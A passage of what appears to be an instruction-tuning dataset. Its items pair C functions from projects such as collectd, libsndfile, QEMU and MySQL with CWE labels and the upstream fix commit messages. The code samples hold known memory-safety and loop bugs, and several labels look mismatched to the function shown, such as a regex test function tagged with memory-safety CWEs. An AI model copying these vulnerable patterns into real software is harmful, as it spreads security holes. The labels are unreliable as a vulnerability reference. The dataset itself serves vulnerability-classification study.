sfree(secret);\n sfree(pss.username);\n return (-1);\n }\n\n gcry_md_write(hd, buffer + PART_SIGNATURE_SHA256_SIZE,\n buffer_len - PART_SIGNATURE_SHA256_SIZE);\n hash_ptr = gcry_md_read(hd, GCRY_MD_SHA256);\n if (hash_ptr == NULL) {\n ERROR(\"network plugin: gcry_md_read failed.\");\n gcry_md_close(hd);\n sfree(secret);\n sfree(pss.username);\n return (-1);\n }\n memcpy(hash, hash_ptr, sizeof(hash));\n\n /* Clean up */\n gcry_md_close(hd);\n hd = NULL;\n\n if (memcmp(pss.hash, hash, sizeof(pss.hash)) != 0) {\n WARNING(\"network plugin: Verifying HMAC-SHA-256 signature failed: \"\n \"Hash mismatch. Username: %s\",\n pss.username);\n } else {\n parse_packet(se, buffer + buffer_offset, buffer_len - buffer_offset,\n flags | PP_SIGNED, pss.username);\n }\n\n sfree(secret);\n sfree(pss.username);\n\n *ret_buffer = buffer + buffer_len;\n *ret_buffer_len = 0;\n\n return (0);\n} /* }}} int parse_part_sign_sha256 */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': 'network plugin: Fix endless loop DOS in parse_packet()\n\nWhen correct 'Signature part' is received by Collectd, configured without\nAuthFile option, condition for endless loop occurs due to missing increase\nof pointer to next unprocessed part.\n\nThis is a forward-port of #2233.\n\nFixes: CVE-2017-7401\nCloses: #2174\nSigned-off-by: Florian Forster '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void test_re()\n{\n assert_true_rule(\n \"rule test { strings: $a = /ssi/ condition: $a }\",\n \"mississippi\\tmississippi.mississippi\\nmississippi\");\n\n assert_true_rule(\n \"rule test { strings: $a = /ssi(s|p)/ condition: $a }\",\n \"mississippi\\tmississippi.mississippi\\nmississippi\");\n\n assert_true_rule(\n \"rule test { strings: $a = /ssim*/ condition: $a }\",\n \"mississippi\\tmississippi.mississippi\\nmississippi\");\n\n assert_true_rule(\n \"rule test { strings: $a = /ssa?/ condition: $a }\",\n \"mississippi\\tmississippi.mississippi\\nmississippi\");\n\n assert_true_rule(\n \"rule test { strings: $a = /Miss/ nocase condition: $a }\",\n \"mississippi\\tmississippi.mississippi\\nmississippi\");\n\n assert_true_rule(\n \"rule test { strings: $a = /(M|N)iss/ nocase condition: $a }\",\n \"mississippi\\tmississippi.mississippi\\nmississippi\");\n\n assert_true_rule(\n \"rule test { strings: $a = /[M-N]iss/ nocase condition: $a }\",\n \"mississippi\\tmississippi.mississippi\\nmississippi\");\n\n assert_true_rule(\n \"rule test { strings: $a = /(Mi|ssi)ssippi/ nocase condition: $a }\",\n \"mississippi\\tmississippi.mississippi\\nmississippi\");\n\n assert_true_rule(\n \"rule test { strings: $a = /ppi\\\\tmi/ condition: $a }\",\n \"mississippi\\tmississippi.mississippi\\nmississippi\");\n\n assert_true_rule(\n \"rule test { strings: $a = /ppi\\\\.mi/ condition: $a }\",\n \"mississippi\\tmississippi.mississippi\\nmississippi\");\n\n assert_true_rule(\n \"rule test { strings: $a = /^mississippi/ fullword condition: $a }\",\n \"mississippi\\tmississippi.mississippi\\nmississippi\");\n\n assert_true_rule(\n \"rule test { strings: $a = /mississippi.*mississippi$/s condition: $a }\",\n \"mississippi\\tmississippi.mississippi\\nmississippi\");\n\n assert_false_rule(\n \"rule test { strings: $a = /^ssi/ condition: $a }\",\n \"mississippi\");\n\n assert_false_rule(\n \"rule test { strings: $a = /ssi$/ condition: $a }\",\n \"mississippi\");\n\n assert_false_rule(\n \"rule test { strings: $a = /ssissi/ fullword condition: $a }\",\n \"mississippi\");\n\n assert_false_rule(\n \"rule test { strings: $a = /^[isp]+/ condition: $a }\",\n \"mississippi\");\n\n assert_regexp_syntax_error(\")\");\n assert_true_regexp(\"abc\", \"abc\", \"abc\");\n assert_false_regexp(\"abc\", \"xbc\");\n assert_false_regexp(\"abc\", \"axc\");\n assert_false_regexp(\"abc\", \"abx\");\n assert_true_regexp(\"abc\", \"xabcx\", \"abc\");\n assert_true_regexp(\"abc\", \"ababc\", \"abc\");\n assert_true_regexp(\"a.c\", \"abc\", \"abc\");\n assert_false_regexp(\"a.b\", \"a\\nb\");\n assert_false_regexp(\"a.*b\", \"acc\\nccb\");\n assert_false_regexp(\"a.{4,5}b\", \"acc\\nccb\");\n assert_true_regexp(\"a.b\", \"a\\rb\", \"a\\rb\");\n assert_true_regexp(\"ab*c\", \"abc\", \"abc\");\n assert_true_regexp(\"ab*c\", \"ac\", \"ac\");\n assert_true_regexp(\"ab*bc\", \"abc\", \"abc\");\n assert_true_regexp(\"ab*bc\", \"abbc\", \"abbc\");\n assert_true_regexp(\"a.*bb\", \"abbbb\", \"abbbb\");\n assert_true_regexp(\"a.*?bbb\", \"abbbbbb\", \"abbb\");\n assert_true_regexp(\"a.*c\", \"ac\", \"ac\");\n assert_true_regexp(\"a.*c\", \"axyzc\", \"axyzc\");\n assert_true_regexp(\"ab+c\", \"abbc\", \"abbc\");\n assert_false_regexp(\"ab+c\", \"ac\");\n assert_true_regexp(\"ab+\", \"abbbb\", \"abbbb\");\n assert_true_regexp(\"ab+?\", \"abbbb\", \"ab\");\n assert_false_regexp(\"ab+bc\", \"abc\");\n assert_false_regexp(\"ab+bc\", \"abq\");\n assert_true_regexp(\"a+b+c\", \"aabbabc\", \"abc\");\n assert_false_regexp(\"ab?bc\", \"abbbbc\");\n assert_true_regexp(\"ab?c\", \"abc\", \"abc\");\n assert_true_regexp(\"ab*?\", \"abbb\", \"a\");\n assert_true_regexp(\"ab?c\", \"abc\", \"abc\");\n assert_true_regexp(\"ab??\", \"ab\", \"a\");\n assert_true_regexp(\"a(b|x)c\", \"abc\", \"abc\");\n assert_true_regexp(\"a(b|x)c\", \"axc\", \"axc\");\n assert_true_regexp(\"a(b|.)c\", \"axc\", \"axc\");\n assert_true_regexp(\"a(b|x|y)c\", \"ayc\", \"ayc\");\n assert_true_regexp(\"(a+|b)*\", \"ab\", \"ab\");\n assert_true_regexp(\"a|b|c|d|e\", \"e\", \"e\");\n assert_true_regexp(\"(a|b|c|d|e)f\", \"ef\", \"ef\");\n assert_true_regexp(\".b{2}\", \"abb\", \"abb\");\n assert_true_regexp(\"ab{1}c\", \"abc\", \"abc\");\n assert_true_regexp(\"ab{1,2}c\", \"abbc\", \"abbc\");\n assert_true_regexp(\"ab{1,}c\", \"abbbc\", \"abbbc\");\n assert_false_regexp(\"ab{1,}b\", \"ab\");\n assert_false_regexp(\"ab{1}c\", \"abbc\");\n assert_true_regexp(\"ab{0,}c\", \"ac\", \"ac\");\n assert_true_regexp(\"ab{0,}c\", \"abbbc\", \"abbbc\");\n assert_true_regexp(\"ab{,3}c\", \"abbbc\", \"abbbc\");\n assert_false_regexp(\"ab{,2}c\", \"abbbc\");\n assert_false_regexp(\"ab{4,5}bc\", \"abbbbc\");\n assert_true_regexp(\"ab{2,3}?\", \"abbbbb\", \"abb\");\n assert_true_regexp(\"ab{.*}\", \"ab{c}\", \"ab{c}\");\n assert_true_regexp(\".(aa){1,2}\", \"aaaaaaaaaa\", \"aaaaa\");\n assert_true_regexp(\"a.(bc.){2}\", \"aabcabca\", \"aabcabca\");\n assert_true_regexp(\"(ab{1,2}c){1,3}\", \"abbcabc\", \"abbcabc\");\n assert_true_regexp(\"ab(c|cc){1,3}d\", \"abccccccd\", \"abccccccd\");\n assert_true_regexp(\"a[bx]c\", \"abc\", \"abc\");\n assert_true_regexp(\"a[bx]c\", \"axc\", \"axc\");\n assert_true_regexp(\"a[0-9]*b\", \"ab\", \"ab\");\n assert_true_regexp(\"a[0-9]*b\", \"a0123456789b\", \"a0123456789b\");\n assert_true_regexp(\"[0-9a-f]+\", \"0123456789abcdef\", \"0123456789abcdef\");\n assert_true_regexp(\"[0-9a-f]+\", \"xyz0123456789xyz\", \"0123456789\");\n assert_true_regexp(\"a[\\\\s\\\\S]b\", \"a b\", \"a b\");\n assert_true_regexp(\"a[\\\\d\\\\D]b\", \"a1b\", \"a1b\");\n assert_false_regexp(\"[x-z]+\", \"abc\");\n assert_true_regexp(\"a[-]?c\", \"ac\", \"ac\");\n assert_true_regexp(\"a[-b]\", \"a-\", \"a-\");\n assert_true_regexp(\"a[-b]\", \"ab\", \"ab\");\n assert_true_regexp(\"a[b-]\", \"a-\", \"a-\");\n assert_true_regexp(\"a[b-]\", \"ab\", \"ab\");\n assert_true_regexp(\"[a-c-e]\", \"b\", \"b\");\n assert_true_regexp(\"[a-c-e]\", \"-\", \"-\");\n assert_false_regexp(\"[a-c-e]\", \"d\");\n assert_regexp_syntax_error(\"[b-a]\");\n assert_regexp_syntax_error(\"(abc\");\n assert_regexp_syntax_error(\"abc)\");\n assert_regexp_syntax_error(\"a[]b\");\n assert_regexp_syntax_error(\"a\\\\\");\n assert_true_regexp(\"a[\\\\-b]\", \"a-\", \"a-\");\n assert_true_regexp(\"a[\\\\-b]\", \"ab\", \"ab\");\n assert_regexp_syntax_error(\"a[\\\\\");\n assert_true_regexp(\"a]\", \"a]\", \"a]\");\n assert_true_regexp(\"a[]]b\", \"a]b\", \"a]b\");\n assert_true_regexp(\"a[\\\\]]b\", \"a]b\", \"a]b\");\n assert_true_regexp(\"a[^bc]d\", \"aed\", \"aed\");\n assert_false_regexp(\"a[^bc]d\", \"abd\");\n assert_true_regexp(\"a[^-b]c\", \"adc\", \"adc\");\n assert_false_regexp(\"a[^-b]c\", \"a-c\");\n assert_false_regexp(\"a[^]b]c\", \"a]c\");\n assert_true_regexp(\"a[^]b]c\", \"adc\", \"adc\");\n assert_true_regexp(\"[^ab]*\", \"cde\", \"cde\");\n assert_regexp_syntax_error(\")(\");\n assert_true_regexp(\"a\\\\sb\", \"a b\", \"a b\");\n assert_true_regexp(\"a\\\\sb\", \"a\\tb\", \"a\\tb\");\n assert_true_regexp(\"a\\\\sb\", \"a\\rb\", \"a\\rb\");\n assert_true_regexp(\"a\\\\sb\", \"a\\nb\", \"a\\nb\");\n assert_true_regexp(\"a\\\\sb\", \"a\\vb\", \"a\\vb\");\n assert_true_regexp(\"a\\\\sb\", \"a\\fb\", \"a\\fb\");\n assert_false_regexp(\"a\\\\Sb\", \"a b\");\n assert_false_regexp(\"a\\\\Sb\", \"a\\tb\");\n assert_false_regexp(\"a\\\\Sb\", \"a\\rb\");\n assert_false_regexp(\"a\\\\Sb\", \"a\\nb\");\n assert_false_regexp(\"a\\\\Sb\", \"a\\vb\");\n assert_false_regexp(\"a\\\\Sb\", \"a\\fb\");\n assert_true_regexp(\"\\\\n\\\\r\\\\t\\\\f\\\\a\", \"\\n\\r\\t\\f\\a\", \"\\n\\r\\t\\f\\a\");\n assert_true_regexp(\"[\\\\n][\\\\r][\\\\t][\\\\f][\\\\a]\", \"\\n\\r\\t\\f\\a\", \"\\n\\r\\t\\f\\a\");\n assert_true_regexp(\"\\\\x01\\\\x02\\\\x03\", \"\\x01\\x02\\x03\", \"\\x01\\x02\\x03\");\n assert_true_regexp(\"[\\\\x01-\\\\x03]+\", \"\\x01\\x02\\x03\", \"\\x01\\x02\\x03\");\n assert_false_regexp(\"[\\\\x00-\\\\x02]+\", \"\\x03\\x04\\x05\");\n assert_true_regexp(\"[\\\\x5D]\", \"]\", \"]\");\n assert_true_regexp(\"[\\\\0x5A-\\\\x5D]\", \"\\x5B\", \"\\x5B\");\n assert_true_regexp(\"[\\\\x5D-\\\\x5F]\", \"\\x5E\", \"\\x5E\");\n assert_true_regexp(\"[\\\\x5C-\\\\x5F]\", \"\\x5E\", \"\\x5E\");\n assert_true_regexp(\"[\\\\x5D-\\\\x5F]\", \"\\x5E\", \"\\x5E\");\n assert_true_regexp(\"a\\\\wc\", \"abc\", \"abc\");\n assert_true_regexp(\"a\\\\wc\", \"a_c\", \"a_c\");\n assert_true_regexp(\"a\\\\wc\", \"a0c\", \"a0c\");\n assert_false_regexp(\"a\\\\wc\", \"a*c\");\n assert_true_regexp(\"\\\\w+\", \"--ab_cd0123--\", \"ab_cd0123\");\n assert_true_regexp(\"[\\\\w]+\", \"--ab_cd0123--\", \"ab_cd0123\");\n assert_true_regexp(\"\\\\D+\", \"1234abc5678\", \"abc\");\n assert_true_regexp(\"[\\\\d]+\", \"0123456789\", \"0123456789\");\n assert_true_regexp(\"[\\\\D]+\", \"1234abc5678\", \"abc\");\n assert_true_regexp(\"[\\\\da-fA-F]+\", \"123abc\", \"123abc\");\n assert_false_regexp(\"^(ab|cd)e\", \"abcde\");\n assert_true_regexp(\"(abc|)ef\", \"abcdef\", \"ef\");\n assert_true_regexp(\"(abc|)ef\", \"abcef\", \"abcef\");\n assert_true_regexp(\"\\\\babc\", \"abc\", \"abc\");\n assert_true_regexp(\"abc\\\\b\", \"abc\", \"abc\");\n assert_false_regexp(\"\\\\babc\", \"1abc\");\n assert_false_regexp(\"abc\\\\b\", \"abc1\");\n assert_true_regexp(\"abc\\\\s\\\\b\", \"abc x\", \"abc \");\n assert_false_regexp(\"abc\\\\s\\\\b\", \"abc \");\n assert_true_regexp(\"\\\\babc\\\\b\", \" abc \", \"abc\");\n assert_true_regexp(\"\\\\b\\\\w\\\\w\\\\w\\\\b\", \" abc \", \"abc\");\n assert_true_regexp(\"\\\\w\\\\w\\\\w\\\\b\", \"abcd\", \"bcd\");\n assert_true_regexp(\"\\\\b\\\\w\\\\w\\\\w\", \"abcd\", \"abc\");\n assert_false_regexp(\"\\\\b\\\\w\\\\w\\\\w\\\\b\", \"abcd\");\n assert_false_regexp(\"\\\\Babc\", \"abc\");\n assert_false_regexp(\"abc\\\\B\", \"abc\");\n assert_true_regexp(\"\\\\Babc\", \"1abc\", \"abc\");\n assert_true_regexp(\"abc\\\\B\", \"abc1\", \"abc\");\n assert_false_regexp(\"abc\\\\s\\\\B\", \"abc x\");\n assert_true_regexp(\"abc\\\\s\\\\B\", \"abc \", \"abc \");\n assert_true_regexp(\"\\\\w\\\\w\\\\w\\\\B\", \"abcd\", \"abc\");\n assert_true_regexp(\"\\\\B\\\\w\\\\w\\\\w\", \"abcd\", \"bcd\");\n assert_false_regexp(\"\\\\B\\\\w\\\\w\\\\w\\\\B\", \"abcd\");\n\n // This is allowed in most regexp engines but in order to keep the\n // grammar free of shift/reduce conflicts I've decided not supporting\n // it. Users can use the (abc|) form instead.\n assert_regexp_syntax_error(\"(|abc)ef\");\n\n assert_true_regexp(\"((a)(b)c)(d)\", \"abcd\", \"abcd\");\n assert_true_regexp(\"(a|b)c*d\", \"abcd\", \"bcd\");\n assert_true_regexp(\"(ab|ab*)bc\", \"abc\", \"abc\");\n assert_true_regexp(\"a([bc]*)c*\", \"abc\", \"abc\");\n assert_true_regexp(\"a([bc]*)c*\", \"ac\", \"ac\");\n assert_true_regexp(\"a([bc]*)c*\", \"a\", \"a\");\n assert_true_regexp(\"a([bc]*)(c*d)\", \"abcd\", \"abcd\");\n assert_true_regexp(\"a([bc]+)(c*d)\", \"abcd\", \"abcd\");\n assert_true_regexp(\"a([bc]*)(c+d)\", \"abcd\", \"abcd\");\n assert_true_regexp(\"a[bcd]*dcdcde\", \"adcdcde\", \"adcdcde\");\n assert_false_regexp(\"a[bcd]+dcdcde\", \"adcdcde\");\n assert_true_regexp(\"\\\\((.*), (.*)\\\\)\", \"(a, b)\", \"(a, b)\");\n assert_true_regexp(\"abc|123$\", \"abcx\", \"abc\");\n assert_false_regexp(\"abc|123$\", \"123x\");\n assert_true_regexp(\"abc|^123\", \"123\", \"123\");\n assert_false_regexp(\"abc|^123\", \"x123\");\n assert_true_regexp(\"^abc$\", \"abc\", \"abc\");\n assert_false_regexp(\"^abc$\", \"abcc\");\n assert_true_regexp(\"^abc\", \"abcc\", \"abc\");\n assert_false_regexp(\"^abc$\", \"aabc\");\n assert_true_regexp(\"abc$\", \"aabc\", \"abc\");\n assert_true_regexp(\"^a(bc+|b[eh])g|.h$\", \"abhg\", \"abhg\");\n assert_true_regexp(\"(bc+d$|ef*g.|h?i(j|k))\", \"effgz\", \"effgz\");\n assert_true_regexp(\"(bc+d$|ef*g.|h?i(j|k))\", \"ij\", \"ij\");\n assert_false_regexp(\"(bc+d$|ef*g.|h?i(j|k))\", \"effg\");\n assert_false_regexp(\"(bc+d$|ef*g.|h?i(j|k))\", \"bcdd\");\n assert_true_regexp(\"(bc+d$|ef*g.|h?i(j|k))\", \"reffgz\", \"effgz\");\n\n // Test case for issue #324\n assert_true_regexp(\"whatever| x. x\", \" xy x\", \" xy x\");\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476', 'CWE-703', 'CWE-125'], 'message': 're_lexer: Make reading escape sequences more robust (#586)\n\n* Add test for issue #503\r\n\r\n* re_lexer: Make reading escape sequences more robust\r\n\r\nThis commit fixes parsing incomplete escape sequences at the end of a\r\nregular expression and parsing things like \\xxy (invalid hex digits)\r\nwhich before were silently turned into (char)255.\r\n\r\nClose #503\r\n\r\n* Update re_lexer.c'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: psf_asciiheader_printf (SF_PRIVATE *psf, const char *format, ...)\n{\tva_list\targptr ;\n\tint\t\tmaxlen ;\n\tchar\t*start ;\n\n\tmaxlen = strlen ((char*) psf->header) ;\n\tstart\t= ((char*) psf->header) + maxlen ;\n\tmaxlen\t= sizeof (psf->header) - maxlen ;\n\n\tva_start (argptr, format) ;\n\tvsnprintf (start, maxlen, format, argptr) ;\n\tva_end (argptr) ;\n\n\t/* Make sure the string is properly terminated. */\n\tstart [maxlen - 1] = 0 ;\n\n\tpsf->headindex = strlen ((char*) psf->header) ;\n\n\treturn ;\n} /* psf_asciiheader_printf */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'src/ : Move to a variable length header buffer\n\nPreviously, the `psf->header` buffer was a fixed length specified by\n`SF_HEADER_LEN` which was set to `12292`. This was problematic for\ntwo reasons; this value was un-necessarily large for the majority\nof files and too small for some others.\n\nNow the size of the header buffer starts at 256 bytes and grows as\nnecessary up to a maximum of 100k.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: header_put_be_8byte (SF_PRIVATE *psf, sf_count_t x)\n{\tif (psf->headindex < SIGNED_SIZEOF (psf->header) - 8)\n\t{\tpsf->header [psf->headindex++] = (x >> 56) ;\n\t\tpsf->header [psf->headindex++] = (x >> 48) ;\n\t\tpsf->header [psf->headindex++] = (x >> 40) ;\n\t\tpsf->header [psf->headindex++] = (x >> 32) ;\n\t\tpsf->header [psf->headindex++] = (x >> 24) ;\n\t\tpsf->header [psf->headindex++] = (x >> 16) ;\n\t\tpsf->header [psf->headindex++] = (x >> 8) ;\n\t\tpsf->header [psf->headindex++] = x ;\n\t\t} ;\n} /* header_put_be_8byte */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'src/ : Move to a variable length header buffer\n\nPreviously, the `psf->header` buffer was a fixed length specified by\n`SF_HEADER_LEN` which was set to `12292`. This was problematic for\ntwo reasons; this value was un-necessarily large for the majority\nof files and too small for some others.\n\nNow the size of the header buffer starts at 256 bytes and grows as\nnecessary up to a maximum of 100k.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: header_seek (SF_PRIVATE *psf, sf_count_t position, int whence)\n{\n\tswitch (whence)\n\t{\tcase SEEK_SET :\n\t\t\tif (position > SIGNED_SIZEOF (psf->header))\n\t\t\t{\t/* Too much header to cache so just seek instead. */\n\t\t\t\tpsf_fseek (psf, position, whence) ;\n\t\t\t\treturn ;\n\t\t\t\t} ;\n\t\t\tif (position > psf->headend)\n\t\t\t\tpsf->headend += psf_fread (psf->header + psf->headend, 1, position - psf->headend, psf) ;\n\t\t\tpsf->headindex = position ;\n\t\t\tbreak ;\n\n\t\tcase SEEK_CUR :\n\t\t\tif (psf->headindex + position < 0)\n\t\t\t\tbreak ;\n\n\t\t\tif (psf->headindex >= SIGNED_SIZEOF (psf->header))\n\t\t\t{\tpsf_fseek (psf, position, whence) ;\n\t\t\t\treturn ;\n\t\t\t\t} ;\n\n\t\t\tif (psf->headindex + position <= psf->headend)\n\t\t\t{\tpsf->headindex += position ;\n\t\t\t\tbreak ;\n\t\t\t\t} ;\n\n\t\t\tif (psf->headindex + position > SIGNED_SIZEOF (psf->header))\n\t\t\t{\t/* Need to jump this without caching it. */\n\t\t\t\tpsf->headindex = psf->headend ;\n\t\t\t\tpsf_fseek (psf, position, SEEK_CUR) ;\n\t\t\t\tbreak ;\n\t\t\t\t} ;\n\n\t\t\tpsf->headend += psf_fread (psf->header + psf->headend, 1, position - (psf->headend - psf->headindex), psf) ;\n\t\t\tpsf->headindex = psf->headend ;\n\t\t\tbreak ;\n\n\t\tcase SEEK_END :\n\t\tdefault :\n\t\t\tpsf_log_printf (psf, \"Bad whence param in header_seek().\\n\") ;\n\t\t\tbreak ;\n\t\t} ;\n\n\treturn ;\n} /* header_seek */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'src/ : Move to a variable length header buffer\n\nPreviously, the `psf->header` buffer was a fixed length specified by\n`SF_HEADER_LEN` which was set to `12292`. This was problematic for\ntwo reasons; this value was un-necessarily large for the majority\nof files and too small for some others.\n\nNow the size of the header buffer starts at 256 bytes and grows as\nnecessary up to a maximum of 100k.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int ahash_def_finup(struct ahash_request *req)\n{\n\tstruct crypto_ahash *tfm = crypto_ahash_reqtfm(req);\n\tint err;\n\n\terr = ahash_save_req(req, ahash_def_finup_done1);\n\tif (err)\n\t\treturn err;\n\n\terr = tfm->update(req);\n\treturn ahash_def_finup_finish1(req, err);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': 'crypto: ahash - Fix EINPROGRESS notification callback\n\nThe ahash API modifies the request's callback function in order\nto clean up after itself in some corner cases (unaligned final\nand missing finup).\n\nWhen the request is complete ahash will restore the original\ncallback and everything is fine. However, when the request gets\nan EBUSY on a full queue, an EINPROGRESS callback is made while\nthe request is still ongoing.\n\nIn this case the ahash API will incorrectly call its own callback.\n\nThis patch fixes the problem by creating a temporary request\nobject on the stack which is used to relay EINPROGRESS back to\nthe original completion function.\n\nThis patch also adds code to preserve the original flags value.\n\nFixes: ab6bf4e5e5e4 (\"crypto: hash - Fix the pointer voodoo in...\")\nCc: \nReported-by: Sabrina Dubroca \nTested-by: Sabrina Dubroca \nSigned-off-by: Herbert Xu '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline void ModulateLCHab(const double percent_luma,\n const double percent_chroma,const double percent_hue,double *red,\n double *green,double *blue)\n{\n double\n hue,\n luma,\n chroma;\n\n /*\n Increase or decrease color luma, chroma, or hue.\n */\n ConvertRGBToLCHab(*red,*green,*blue,&luma,&chroma,&hue);\n luma*=0.01*percent_luma;\n chroma*=0.01*percent_chroma;\n hue+=0.5*(0.01*percent_hue-1.0);\n while (hue < 0.0)\n hue+=1.0;\n while (hue >= 1.0)\n hue-=1.0;\n ConvertLCHabToRGB(luma,chroma,hue,red,green,blue);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': 'https://www.imagemagick.org/discourse-server/viewtopic.php?f=3&t=31506'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: fill_threshhold_buffer(byte *dest_strip, byte *src_strip, int src_width,\n int left_offset, int left_width, int num_tiles,\n int right_width)\n{\n byte *ptr_out_temp = dest_strip;\n int ii;\n\n /* Left part */\n memcpy(dest_strip, src_strip + left_offset, left_width);\n ptr_out_temp += left_width;\n /* Now the full parts */\n for (ii = 0; ii < num_tiles; ii++){\n memcpy(ptr_out_temp, src_strip, src_width);\n ptr_out_temp += src_width;\n }\n /* Now the remainder */\n memcpy(ptr_out_temp, src_strip, right_width);\n#ifdef PACIFY_VALGRIND\n ptr_out_temp += right_width;\n ii = (dest_strip-ptr_out_temp) % (LAND_BITS-1);\n if (ii > 0)\n memset(ptr_out_temp, 0, ii);\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fix bug 697459 Buffer overflow in fill_threshold_buffer\n\nThere was an overflow check for ht_buffer size, but none for the larger\nthreshold_buffer. Note that this file didn't fail on Windows because the\ncombination of the ht_buffer and the size of the (miscalculated due to\noverflow) threshold_buffer would have exceeded the 2Gb limit.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: char *get_56_lenc_string(char **buffer,\n size_t *max_bytes_available,\n size_t *string_length)\n{\n static char empty_string[1]= { '\\0' };\n char *begin= *buffer;\n\n if (*max_bytes_available == 0)\n return NULL;\n\n /*\n If the length encoded string has the length 0\n the total size of the string is only one byte long (the size byte)\n */\n if (*begin == 0)\n {\n *string_length= 0;\n --*max_bytes_available;\n ++*buffer;\n /*\n Return a pointer to the \\0 character so the return value will be\n an empty string.\n */\n return empty_string;\n }\n\n *string_length= (size_t)net_field_length_ll((uchar **)buffer);\n\n DBUG_EXECUTE_IF(\"sha256_password_scramble_too_long\",\n *string_length= SIZE_T_MAX;\n );\n\n size_t len_len= (size_t)(*buffer - begin);\n \n if (*string_length > *max_bytes_available - len_len)\n return NULL;\n\n *max_bytes_available -= *string_length;\n *max_bytes_available -= len_len;\n *buffer += *string_length;\n return (char *)(begin + len_len);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Bug#25714674: MYSQL SERVER REMOTE PREAUTH PROBLEM THROUGH INTEGER OVERFLOW\n\nDescription: A missing length check for length-encoded string causes\n problem in preauthorization stage.\n\n(cherry picked from commit bb1af908fce21b0d8708cdccde628e3d5b1d86ec)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void cirrus_bitblt_rop_nop(CirrusVGAState *s,\n uint8_t *dst,const uint8_t *src,\n int dstpitch,int srcpitch,\n int bltwidth,int bltheight)\n{\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'cirrus: stop passing around dst pointers in the blitter\n\nInstead pass around the address (aka offset into vga memory). Calculate\nthe pointer in the rop_* functions, after applying the mask to the\naddress, to make sure the address stays within the valid range.\n\nSigned-off-by: Gerd Hoffmann \nMessage-id: 1489574872-8679-1-git-send-email-kraxel@redhat.com'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline void glue(rop_16_,ROP_NAME)(uint16_t *dst, uint16_t src)\n{\n *dst = ROP_FN(*dst, src);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'cirrus: stop passing around dst pointers in the blitter\n\nInstead pass around the address (aka offset into vga memory). Calculate\nthe pointer in the rop_* functions, after applying the mask to the\naddress, to make sure the address stays within the valid range.\n\nSigned-off-by: Gerd Hoffmann \nMessage-id: 1489574872-8679-1-git-send-email-kraxel@redhat.com'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int cirrus_bitblt_videotovideo_patterncopy(CirrusVGAState * s)\n{\n return cirrus_bitblt_common_patterncopy(s, true);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'cirrus: stop passing around src pointers in the blitter\n\nDoes basically the same as \"cirrus: stop passing around dst pointers in\nthe blitter\", just for the src pointer instead of the dst pointer.\n\nFor the src we have to care about cputovideo blits though and fetch the\ndata from s->cirrus_bltbuf instead of vga memory. The cirrus_src*()\nhelper functions handle that.\n\nSigned-off-by: Gerd Hoffmann \nMessage-id: 1489584487-3489-1-git-send-email-kraxel@redhat.com'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int 